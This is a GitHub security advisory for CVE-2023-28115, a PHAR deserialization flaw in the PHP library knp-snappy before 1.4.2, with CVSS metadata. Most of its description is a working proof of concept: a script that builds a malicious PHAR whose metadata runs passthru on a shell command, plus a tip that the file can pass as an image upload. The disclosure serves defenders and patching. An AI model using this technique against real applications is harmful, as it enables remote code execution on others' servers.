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PHAR deserialization allowing remote code execution

Critical severity GitHub Reviewed Published Mar 17, 2023 in KnpLabs/snappy • Updated Apr 6, 2023

Package

composer knplabs/knp-snappy (Composer)

Affected versions

< 1.4.2

Patched versions

1.4.2

Description

Description

snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.

Proof of Concept

Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

// vulnerable object
class VulnerableClass {
    public $fileName;
    public $callback;

    function __destruct() {
        call_user_func($this->callback, $this->fileName);
    }
}

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');

As an attacker, we going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Then run these command to generate the file

php --define phar.readonly=0 generate_phar.php

Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.

Impact

This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.

Occurences

https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670

References

References

@AntoineLelaisant AntoineLelaisant published to KnpLabs/snappy Mar 17, 2023
Published to the GitHub Advisory Database Mar 17, 2023
Reviewed Mar 17, 2023
Published by the National Vulnerability Database Mar 17, 2023
Last updated Apr 6, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

3.466%
(91st percentile)

Weaknesses

CVE ID

CVE-2023-28115

GHSA ID

GHSA-gq6w-q6wh-jggc

Source code

Credits

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